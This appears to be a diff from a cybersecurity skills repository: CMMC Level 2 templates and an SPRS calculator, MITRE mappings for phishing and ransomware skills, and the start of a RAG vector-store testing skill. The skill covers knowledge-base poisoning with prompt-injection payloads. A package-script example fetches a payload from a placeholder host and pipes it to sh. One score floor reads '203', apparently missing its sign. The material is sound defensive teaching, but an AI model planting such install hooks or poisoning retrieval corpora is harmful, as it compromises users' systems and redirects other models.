| CUI | Controlled Unclassified Information — Level 2 protects it (NIST 800-171). |
| 110 requirements | The SP 800-171 Rev 2 security requirements across 14 families. |
| SPRS | Supplier Performance Risk System — where the 800-171 score is posted. |
| DoD Assessment Methodology | The 1/3/5-point weighting used to compute the score from 110. |
| C3PAO | CMMC Third-Party Assessment Organization — performs Level 2 certification. |
| POA&M | Plan of Action & Milestones — limited, must close in 180 days for Final status. |
| Conditional vs Final | Conditional = open POA&M (score ≥ 80%); Final = all controls met. |
| ESP | External Service Provider — must meet FedRAMP Moderate / equivalency for CUI. |
| Scoping categories | CUI / Security Protection / Contractor Risk Managed / Specialized / Out-of-Scope. |
## Tools & Systems
- **NIST SP 800-171 Rev 2** — the 110 requirements (and 800-171A for assessment objectives).
- **DoD NIST SP 800-171 Assessment Methodology** — the scoring weights.
- **32 CFR Part 170** (CMMC Program rule) and **48 CFR / DFARS 252.204-7021** (acquisition rule).
- **SPRS** — score posting; **SAM.gov** for registration.
- **SP 800-172 / 800-172A** — enhanced requirements for Level 3.
- **GRC / compliance tooling** — to manage the SSP, POA&M, and evidence (e.g., Xacta, RegScale, FutureFeed-style trackers).
## Common Scenarios
- **Prime flows CUI to a sub.** The sub needs its own Level 2 scope, SSP, SPRS score, and (most likely) C3PAO certification.
- **Score is below 88.** Prioritize the highest-weighted unmet requirements (5-point, then 3-point) to clear the conditional threshold and shrink the POA&M.
- **Cloud holds CUI.** Confirm the service is FedRAMP Moderate authorized or meets equivalency; document the responsibility split.
- **Flat network.** Re-scope into a segmented CUI enclave to cut the assessment surface before spending on controls.
- **Annual affirmation due.** A senior official affirms continued compliance in SPRS; let it lapse and you risk contract eligibility.
## Output Format
Produce a **CMMC Level 2 Readiness Report** using `assets/template.md`, containing:
1. **Applicability & CUI categories** — why Level 2 applies.
2. **Scope** — assets by scoping category and the CUI boundary diagram reference.
3. **Control status by family** — met / not met / N/A across the 14 families.
4. **SPRS score** — computed score, deductions, and the gap to 110 and to the 88 threshold.
5. **POA&M** — unmet requirements, eligibility check, owners, 180-day milestones.
6. **Assessment path** — self vs C3PAO, target date, affirmation owner.
7. **Remediation roadmap** — sequenced by point value and effort.
Use `scripts/process.py` to compute the SPRS score from a control-status JSON, flag POA&M-eligibility concerns, and report the gap to the conditional-certification threshold.
@@ -0,0 +1,63 @@
# CMMC Level 2 Readiness Report — Worked Example
> Filled example for a small DIB manufacturer handling CUI on a segmented enclave.
> Replace bracketed content for your own organization.
## 1. Applicability & CUI Categories
- **Contract drivers:** Prime subcontract with DFARS **252.204-7012** and **-7021**; CUI present → **CMMC Level 2** required.
- **CUI categories (from contract + DoD CUI Registry):** Controlled Technical Information (CTI), Export Controlled (EAR).
- **Target assessment path:** Triennial **C3PAO** certification (Phase 2 applies from Nov 10, 2026).
## 2. Scope (CMMC Level 2 Scoping Guide)
| Category | Examples in this environment |
|---|---|
| CUI Assets | Engineering workstations, CUI file share, the segmented "Enclave-1" VLAN |
| Security Protection Assets | EDR console, SIEM, firewall, IdP/MFA, jump host |
| Contractor Risk Managed | General corporate laptops (policy-blocked from CUI) |
| Specialized Assets | CNC machine controllers (documented, isolated) |
| Out-of-Scope | Guest Wi-Fi, marketing SaaS |
**Boundary note:** CUI is confined to Enclave-1 behind segmentation and MFA. Deliberately minimized to shrink the assessment surface. See network diagram `CUI-boundary-v3`.
## 3. Control Status by Family (NIST SP 800-171 Rev 2)
*(summary; full per-requirement status lives in the SSP)*
| Family | Met | Partial | Not Met | N/A |
|---|---|---|---|---|
| 3.1 Access Control | 22 | 0 | 0 | 0 |
| 3.3 Audit & Accountability | 8 | 0 | 1 | 0 |
| 3.5 Identification & Auth | 10 | 1 | 0 | 0 |
| 3.8 Media Protection | 8 | 0 | 1 | 0 |
| 3.13 System & Comms Protection | 15 | 0 | 1 | 0 |
| 3.14 System & Info Integrity | 6 | 0 | 1 | 0 |
| *(others)* | all met | — | — | — |
## 4. SPRS Score
*(computed by `scripts/process.py` from the control-status JSON)*
- **Score: 97 / 110** (started at 110; deducted 13).
- **Gap to perfect:** 13 points across 4 not-met + 1 partial requirement.
- **Conditional threshold (≥ 88):** **MET** (margin 9) — eligible for Conditional status *if* the remaining items are POA&M-eligible.
- **Posted to SPRS:** score, SSP date, and assessment scope.
## 5. POA&M (eligibility-checked)
| ID | Requirement | Points | Eligibility | Remediation | Owner | Milestone (≤180d) |
|---|---|---|---|---|---|---|
| 3.3.1 | Audit log generation/coverage | 5 | **Verify** — high weight; confirm against 32 CFR 170 | Enable full audit policy + ship to SIEM | SecOps | 2026-07-30 |
| 3.13.11 | FIPS-validated cryptography | 3 | **Verify** eligibility | Replace non-validated module with FIPS 140-validated | Infra | 2026-08-15 |
| 3.5.3 | MFA (partial) | 3 | Partial-credit control | Extend MFA to remaining admin paths | IAM | 2026-07-20 |
| 3.8.9 | Backup CUI protection | 1 | Eligible | Encrypt + access-control backup store | Infra | 2026-08-31 |
| 3.14.1 | Flaw remediation | 1 | Eligible | Formalize patch SLA + tracking | IT | 2026-08-31 |
> The two 3-point and one 5-point items must clear eligibility review; the highest-weighted security requirements generally cannot remain on a POA&M. All items close within **180 days** to convert Conditional → **Final**.
## 6. Assessment Path
- **Type:** C3PAO certification assessment.
- **Target window:** Q4 2026, after POA&M closure of the high-weight items.
- **Affirmation owner:** [senior official] files the annual affirmation in SPRS.
## 7. Remediation Roadmap (sequenced by point value, then effort)
1. **3.3.1 audit logging (5 pts)** — biggest score lever and likely POA&M-ineligible → do first.
2. **3.13.11 FIPS crypto (3 pts)** and **3.5.3 MFA gap (3 pts)** — close to remove eligibility risk.
3. **3.8.9, 3.14.1 (1 pt each)** — low-effort cleanups before the C3PAO date.
4. Re-run the SPRS calculator after each closure; goal is **110** before assessment.
@@ -0,0 +1,84 @@
# CMMC Level 2 — Standards & Reference
## Governing rules
| Rule | Citation | Status / effective date |
|---|---|---|
| CMMC Program rule | 32 CFR Part 170 | Effective **December 16, 2024** |
| CMMC acquisition rule (DFARS) | 48 CFR; DFARS clause **252.204-7021** (and 204.7503) | Published Sept 10, 2025; effective **November 10, 2025** |
| Safeguarding CUI / incident reporting | DFARS **252.204-7012** | In effect |
| NIST 800-171 self-assessment + SPRS posting | DFARS **252.204-7019 / -7020** | In effect |
> Always confirm current status at the source — acquisition rules and phase dates have moved before. Authoritative: https://dodcio.defense.gov/CMMC/ and the eCFR for 32 CFR Part 170.
## Phased rollout (per the acquisition rule)
| Phase | Begins | What applies |
|---|---|---|
| Phase 1 | **Nov 10, 2025** | Level 1 and some Level 2 **self-assessment** required in solicitations |
| Phase 2 | **Nov 10, 2026** | Level 2 **C3PAO certification** required for applicable contracts |
| Phase 3 | **Nov 10, 2027** | Level 2 C3PAO + Level 3 **DIBCAC** assessment phased in |
| Phase 4 | **Nov 10, 2028** | Full implementation across applicable DoD contracts |
## The three CMMC levels
| Level | Protects | Requirements | Assessment |
|---|---|---|---|
| Level 1 | FCI | 15 requirements (FAR 52.204-21) | Annual self-assessment + affirmation |
| Level 2 | CUI | **110 requirements (NIST SP 800-171 Rev 2)** | Self **or** triennial C3PAO certification |
| Level 3 | CUI (high priority) | 110 + selected **SP 800-172** enhanced | DoD (DIBCAC) assessment |
Certification validity: **3 years**, with **annual affirmation** by a senior official in SPRS.
## NIST SP 800-171 Rev 2 — the 14 families (110 requirements)
| § | Family | # reqs |
|---|---|---|
| 3.1 | Access Control | 22 |
| 3.2 | Awareness and Training | 3 |
| 3.3 | Audit and Accountability | 9 |
| 3.4 | Configuration Management | 9 |
| 3.5 | Identification and Authentication | 11 |
| 3.6 | Incident Response | 3 |
| 3.7 | Maintenance | 6 |
| 3.8 | Media Protection | 9 |
| 3.9 | Personnel Security | 2 |
| 3.10 | Physical Protection | 6 |
| 3.11 | Risk Assessment | 3 |
| 3.12 | Security Assessment | 4 |
| 3.13 | System and Communications Protection | 16 |
| 3.14 | System and Information Integrity | 7 |
| | **Total** | **110** |
(Assessment objectives for each requirement are in **NIST SP 800-171A**.)
## DoD Assessment Methodology — SPRS scoring
- Start at **110**. Subtract the weighted value of each **NOT MET** requirement.
- Weights: **1, 3, or 5 points**. The most security-significant requirements are weighted 3 or 5.
- **Partial credit** applies to a small number of requirements (notably MFA at 3.5.3 and FIPS-validated cryptography at 3.13.11) where partial implementation reduces the deduction.
- Maximum score **110**; the methodology floor is **203** (more is deducted than the 110 starting points because of the weighting).
- The complete per-requirement point assignment is published in the **DoD NIST SP 800-171 Assessment Methodology** — use that document for the authoritative weight of each control rather than estimating.
## POA&M rules under the CMMC rule (32 CFR Part 170)
- A **Conditional** Level 2 status is allowed only if the assessment score is **at least 80% (≥ 88 of 110)**.
- Only **POA&M-eligible** requirements may be deferred. The highest-weighted security requirements generally **must be fully met** and **cannot** sit on a POA&M — verify each item's eligibility against the rule.
- All POA&M items must be **closed within 180 days**; a closeout assessment then converts **Conditional → Final**.
## Scoping categories (CMMC Level 2 Scoping Guide)
| Category | Treatment |
|---|---|
| CUI Assets | Process/store/transmit CUI — assessed against applicable requirements. |
| Security Protection Assets | Provide security to the CUI environment — in scope. |
| Contractor Risk Managed Assets | Capable of handling CUI but not intended to — managed by policy/config. |
| Specialized Assets | IoT/OT, GFE, test equipment — documented, limited assessment. |
| Out-of-Scope Assets | Isolated from CUI — not assessed. |
## External Service Providers / cloud
- Cloud services that store/process/transmit CUI must be **FedRAMP Moderate authorized or meet FedRAMP Moderate equivalency**.
- Document the customer/provider responsibility split (CRM) and inherited controls in the SSP.
## NIST CSF 2.0 alignment
| CSF 2.0 ID | Relevance |
|---|---|
| GV.OC-03 | Legal/regulatory (DFARS/CMMC) requirements understood. |
| GV.SC-01 | Supply-chain risk management — flowdown to subs / ESPs. |
| ID.AM-08 | Assets managed across the lifecycle (scoping). |
| ID.RA-05 | Risk informs prioritization of unmet requirements. |
| PR.AA-01 | Identity and access (3.1 / 3.5 families). |
| PR.DS-01 | Data-at-rest protection (FIPS crypto, media protection). |
@@ -0,0 +1,198 @@
#!/usr/bin/env python3
"""
CMMC Level 2 / NIST SP 800-171 Rev 2 SPRS score calculator.
Implements the DoD Assessment Methodology arithmetic: start at 110 and subtract
the weighted value (1, 3, or 5) of each NOT MET requirement, with partial credit
for the small set of requirements that allow it. Reports the SPRS score, the gap
to a perfect 110 and to the 88-point (80%) conditional-certification threshold,
and flags higher-weighted unmet requirements whose POA&M eligibility must be
verified against 32 CFR Part 170.
NOTE: per-requirement point weights are defined by the DoD NIST SP 800-171
Assessment Methodology. Supply each requirement's official weight in the input
(this tool does not invent weights). Use status 'partial' with 'partial_deduction'
only for requirements the methodology allows partial credit on (e.g., 3.5.3 MFA,
3.13.11 FIPS crypto).
Input JSON shape:
{
"org": {"name": "Acme Defense LLC", "scope": "CUI enclave"},
"requirements": [
{"id": "3.1.1", "family": "3.1", "status": "met", "weight": 5},
{"id": "3.5.3", "family": "3.5", "status": "partial", "weight": 5, "partial_deduction": 3},
{"id": "3.3.1", "family": "3.3", "status": "not_met", "weight": 5},
{"id": "3.8.9", "family": "3.8", "status": "not_met", "weight": 1},
{"id": "3.2.1", "family": "3.2", "status": "na", "weight": 1}
]
}
status: met | not_met | partial | na
Usage:
python process.py --input controls.json [--output readiness.md]
python process.py --input controls.json --require-conditional # exit 1 if score < 88
"""
import argparse
import json
import sys
START_SCORE = 110
CONDITIONAL_THRESHOLD = 88 # 80% of 110
VALID_STATUS = {"met", "not_met", "partial", "na"}
VALID_WEIGHTS = {1, 3, 5}
def compute(data):
reqs = data.get("requirements", [])
if not reqs:
raise ValueError("requirements list is required")
deductions = 0
counts = {"met": 0, "not_met": 0, "partial": 0, "na": 0}
poam_flags = [] # higher-weight unmet -> verify POA&M eligibility
by_family = {} # family -> {met,not_met,partial,na}
detail = []
for r in reqs:
rid = r.get("id", "?")
status = r.get("status")
weight = r.get("weight")
if status not in VALID_STATUS:
raise ValueError(f"{rid}: status '{status}' invalid (met|not_met|partial|na)")
if status in ("not_met", "partial", "met") and weight not in VALID_WEIGHTS:
raise ValueError(f"{rid}: weight '{weight}' invalid (must be 1, 3, or 5)")
fam = r.get("family", rid.rsplit(".", 1)[0])
fam_rec = by_family.setdefault(fam, {"met": 0, "not_met": 0, "partial": 0, "na": 0})
fam_rec[status] += 1
counts[status] += 1
ded = 0
if status == "not_met":
ded = weight
if weight > 1:
poam_flags.append((rid, weight))
elif status == "partial":
ded = r.get("partial_deduction")
if ded is None:
raise ValueError(f"{rid}: status 'partial' requires 'partial_deduction'")
if ded < 0 or ded > weight:
raise ValueError(f"{rid}: partial_deduction {ded} out of range (0..{weight})")
if ded > 1:
poam_flags.append((rid, ded))
deductions += ded
detail.append((rid, fam, status, weight, ded))
score = START_SCORE - deductions
return {
"score": score,
"deductions": deductions,
"counts": counts,
"by_family": by_family,
"poam_flags": poam_flags,
"detail": detail,
}
def render(data, res):
org = data.get("org", {})
lines = []
lines.append(f"# CMMC Level 2 Readiness - {org.get('name','Organization')}")
lines.append("")
if org.get("scope"):
lines.append(f"- **Scope:** {org['scope']}")
lines.append("")
score = res["score"]
lines.append("## SPRS Score (DoD Assessment Methodology)")
lines.append("")
lines.append(f"- **Score:** **{score}** / 110 (started at 110, deducted {res['deductions']})")
lines.append(f"- **Gap to perfect (110):** {110 - score}")
if score >= CONDITIONAL_THRESHOLD:
lines.append(f"- **Conditional threshold (>= {CONDITIONAL_THRESHOLD}):** MET "
f"(margin {score - CONDITIONAL_THRESHOLD}) - eligible for Conditional status "
"if remaining items are POA&M-eligible.")
else:
lines.append(f"- **Conditional threshold (>= {CONDITIONAL_THRESHOLD}):** NOT MET "
f"(short by {CONDITIONAL_THRESHOLD - score}) - not eligible for Conditional "
"certification until the score reaches 88.")
c = res["counts"]
lines.append(f"- **Status tally:** met {c['met']}, partial {c['partial']}, "
f"not met {c['not_met']}, N/A {c['na']}")
lines.append("")
# by family
lines.append("## Status by family")
lines.append("")
lines.append("| Family | Met | Partial | Not Met | N/A |")
lines.append("|---|---|---|---|---|")
for fam in sorted(res["by_family"]):
f = res["by_family"][fam]
lines.append(f"| {fam} | {f['met']} | {f['partial']} | {f['not_met']} | {f['na']} |")
lines.append("")
# POA&M eligibility flags
lines.append("## POA&M eligibility check")
lines.append("")
if not res["poam_flags"]:
lines.append("No unmet requirement carries more than 1 point of deduction. "
"Remaining gaps are most likely POA&M-eligible (still verify against 32 CFR Part 170).")
else:
lines.append("The following unmet/partial requirements carry **> 1 point**. The highest-weighted "
"security requirements generally **cannot** sit on a POA&M - verify each against "
"32 CFR Part 170 before relying on Conditional status:")
lines.append("")
lines.append("| Requirement | Points lost |")
lines.append("|---|---|")
for rid, w in sorted(res["poam_flags"], key=lambda x: -x[1]):
lines.append(f"| {rid} | {w} |")
lines.append("")
lines.append("> All POA&M items must be closed within **180 days** to convert Conditional -> Final.")
return "\n".join(lines)
def main():
ap = argparse.ArgumentParser(description="CMMC L2 / NIST 800-171 SPRS score calculator")
ap.add_argument("--input", "-i", required=True, help="Path to control-status JSON")
ap.add_argument("--output", "-o", help="Write Markdown readiness report to this path")
ap.add_argument("--require-conditional", action="store_true",
help="Exit non-zero if SPRS score < 88 (conditional threshold)")
args = ap.parse_args()
try:
with open(args.input) as f:
data = json.load(f)
except (OSError, json.JSONDecodeError) as e:
print(f"ERROR: could not read input JSON: {e}", file=sys.stderr)
return 2
try:
res = compute(data)
md = render(data, res)
except ValueError as e:
print(f"ERROR: {e}", file=sys.stderr)
return 2
if args.output:
with open(args.output, "w") as f:
f.write(md + "\n")
print(f"Readiness report written to {args.output}", file=sys.stderr)
else:
print(md)
print(f"SPRS score {res['score']}/110 (deductions {res['deductions']}; "
f"not met {res['counts']['not_met']}, partial {res['counts']['partial']}).",
file=sys.stderr)
if args.require_conditional and res["score"] < CONDITIONAL_THRESHOLD:
print(f"FAIL: score {res['score']} < {CONDITIONAL_THRESHOLD} conditional threshold.",
file=sys.stderr)
return 1
return 0
if __name__ == "__main__":
sys.exit(main())
@@ -30,6 +30,33 @@ mitre_attack:
- T1566.002
- T1608.005
- T1596.003
mitre_f3:
version: '1.1'
tactics:
- resource-development
- reconnaissance
- initial-access
techniques:
- id: T1583.001
name: 'Acquire Infrastructure: Domains'
tactic: resource-development
source: attack
- id: F1020.002
name: 'Create Fake Materials: Fake Website'
tactic: resource-development
source: f3
- id: T1593
name: Search Open Websites/Domains
tactic: reconnaissance
source: attack
- id: T1598
name: Phishing for Information
tactic: reconnaissance
source: attack
- id: T1660
name: Phishing
tactic: initial-access
source: attack
---
# Analyzing Certificate Transparency for Phishing
@@ -26,6 +26,38 @@ mitre_attack:
- T1566.001
- T1566.002
- T1598.003
mitre_f3:
version: '1.1'
tactics:
- reconnaissance
- initial-access
- stealth
- resource-development
techniques:
- id: T1598
name: Phishing for Information
tactic: reconnaissance
source: attack
- id: T1660
name: Phishing
tactic: initial-access
source: attack
- id: T1672
name: Email Spoofing
tactic: stealth
source: attack
- id: F1032
name: Impersonate Official
tactic: initial-access
source: f3
- id: T1583.001
name: 'Acquire Infrastructure: Domains'
tactic: resource-development
source: attack
- id: F1020.002
name: 'Create Fake Materials: Fake Website'
tactic: resource-development
source: f3
---
# Analyzing Email Headers for Phishing Investigation
@@ -34,6 +34,29 @@ mitre_attack:
- T1105
- T1041
- T1567
mitre_f3:
version: '1.1'
tactics:
- reconnaissance
- resource-development
- initial-access
techniques:
- id: T1598
name: Phishing for Information
tactic: reconnaissance
source: attack
- id: T1660
name: Phishing
tactic: initial-access
source: attack
- id: T1583.001
name: 'Acquire Infrastructure: Domains'
tactic: resource-development
source: attack
- id: F1020.002
name: 'Create Fake Materials: Fake Website'
tactic: resource-development
source: f3
---
# Analyzing Indicators of Compromise
@@ -29,6 +29,29 @@ mitre_attack:
- T1059.004
- T1620
- T1574.006
mitre_f3:
version: '1.1'
tactics:
- positioning
- monetization
- reconnaissance
techniques:
- id: T1219
name: Remote Access Tools
tactic: positioning
source: attack
- id: T1555
name: Credentials from Password Stores
tactic: reconnaissance
source: attack
- id: F1018
name: Convert to Cryptocurrency
tactic: monetization
source: f3
- id: F1047
name: Transfer of funds
tactic: monetization
source: f3
---
# Analyzing Linux ELF Malware
@@ -28,6 +28,24 @@ mitre_attack:
- T1573.001
- T1573.002
- T1027
mitre_f3:
version: '1.1'
tactics:
- monetization
- positioning
techniques:
- id: F1018
name: Convert to Cryptocurrency
tactic: monetization
source: f3
- id: F1047
name: Transfer of funds
tactic: monetization
source: f3
- id: T1219
name: Remote Access Tools
tactic: positioning
source: attack
---
# Analyzing Ransomware Encryption Mechanisms
@@ -27,6 +27,28 @@ mitre_attack:
- T1486
- T1567.002
- T1591
mitre_f3:
version: '1.1'
tactics:
- monetization
- reconnaissance
techniques:
- id: F1018
name: Convert to Cryptocurrency
tactic: monetization
source: f3
- id: F1029
name: Gather Customer Information
tactic: reconnaissance
source: f3
- id: T1593
name: Search Open Websites/Domains
tactic: reconnaissance
source: attack
- id: F1025.003
name: 'Electronic Funds Transfer: Wire Transfer'
tactic: monetization
source: f3
---
# Analyzing Ransomware Leak Site Intelligence
@@ -33,6 +33,24 @@ mitre_attack:
- T1048
- T1567.002
- T1486
mitre_f3:
version: '1.1'
tactics:
- positioning
- monetization
techniques:
- id: T1219
name: Remote Access Tools
tactic: positioning
source: attack
- id: F1018
name: Convert to Cryptocurrency
tactic: monetization
source: f3
- id: F1047
name: Transfer of funds
tactic: monetization
source: f3
---
# Analyzing Ransomware Network Indicators
@@ -28,6 +28,32 @@ nist_csf:
mitre_attack:
- T1657
- T1486
mitre_f3:
version: '1.1'
tactics:
- monetization
- stealth
techniques:
- id: F1018
name: Convert to Cryptocurrency
tactic: monetization
source: f3
- id: F1017
name: Conversion to Physical Monetary Instruments
tactic: monetization
source: f3
- id: F1017.001
name: 'Conversion to Physical Monetary Instruments: Cash'
tactic: monetization
source: f3
- id: F1047
name: Transfer of funds
tactic: monetization
source: f3
- id: F1045
name: Structuring
tactic: stealth
source: f3
---
# Analyzing Ransomware Payment Wallets
@@ -77,7 +77,7 @@ cosign verify-blob --signature file.sig --certificate file.crt artifact.tar.gz
```json
{
"scripts": {
"preinstall": "curl evil.com/payload | sh",
"preinstall": "curl evil[.]example/payload | sh",
"postinstall": "node ./install.js",
"preuninstall": "node cleanup.js"
}
@@ -31,6 +31,33 @@ mitre_attack:
- T1566.002
- T1598.003
- T1583.006
mitre_f3:
version: '1.1'
tactics:
- reconnaissance
- resource-development
- initial-access
techniques:
- id: T1598
name: Phishing for Information
tactic: reconnaissance
source: attack
- id: T1593
name: Search Open Websites/Domains
tactic: reconnaissance
source: attack
- id: T1583.001
name: 'Acquire Infrastructure: Domains'
tactic: resource-development
source: attack
- id: F1020.002
name: 'Create Fake Materials: Fake Website'
tactic: resource-development
source: f3
- id: T1660
name: Phishing
tactic: initial-access
source: attack
---
# Analyzing TLS Certificate Transparency Logs
@@ -30,6 +30,33 @@ mitre_attack:
- T1566.002
- T1598.003
- T1583.006
mitre_f3:
version: '1.1'
tactics:
- resource-development
- reconnaissance
- initial-access
techniques:
- id: T1583.001
name: 'Acquire Infrastructure: Domains'
tactic: resource-development
source: attack
- id: F1020.002
name: 'Create Fake Materials: Fake Website'
tactic: resource-development
source: f3
- id: T1598
name: Phishing for Information
tactic: reconnaissance
source: attack
- id: T1593
name: Search Open Websites/Domains
tactic: reconnaissance
source: attack
- id: T1660
name: Phishing
tactic: initial-access
source: attack
---
# Analyzing Typosquatting Domains with DNSTwist
@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
@@ -0,0 +1,233 @@
---
name: assessing-vector-and-embedding-weaknesses
description: Test vector stores for embedding inversion, cross-tenant leakage, and poisoning.
domain: cybersecurity
subdomain: ai-security
tags:
- ai-security
- vector-database
- embedding-inversion
- rag-security
- owasp-llm08
- multi-tenant-isolation
- data-poisoning
- retrieval-augmented-generation
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- MEASURE-2.7
mitre_attack:
- AML.T0024
---
# Assessing Vector and Embedding Weaknesses
> **Authorized use only:** These tests interact with vector stores and embedding models in RAG systems you own or are authorized to assess. Embedding inversion and cross-tenant probing against systems you do not control may expose third-party data and is prohibited without authorization.
## Overview
Retrieval-Augmented Generation (RAG) systems convert documents into embedding vectors stored in a vector database (Pinecone, Qdrant, Weaviate, Chroma, pgvector, FAISS) and retrieve the nearest vectors to ground LLM responses. OWASP **LLM08:2025 Vector and Embedding Weaknesses** covers the security risks unique to this layer:
- **Embedding inversion** — embeddings are not one-way. A trained inversion model (or a black-box reconstruction attack) can recover substantial portions of the original text from its vector, leaking source documents (maps to MITRE ATLAS **AML.T0024.001 Invert ML Model**).
- **Membership inference** — querying whether a specific record contributed to the corpus (AML.T0024.000).
- **Cross-tenant / multi-tenant leakage** — when one namespace/collection is shared or filter isolation is missing, a tenant retrieves another tenant's chunks.
- **Knowledge-base poisoning** — an attacker who can write to the corpus inserts crafted chunks that dominate retrieval (high cosine similarity to expected queries) and carry indirect prompt-injection payloads.
- **Retrieval manipulation** — adversarial documents tuned to be retrieved for many unrelated queries ("retrieval hijacking").
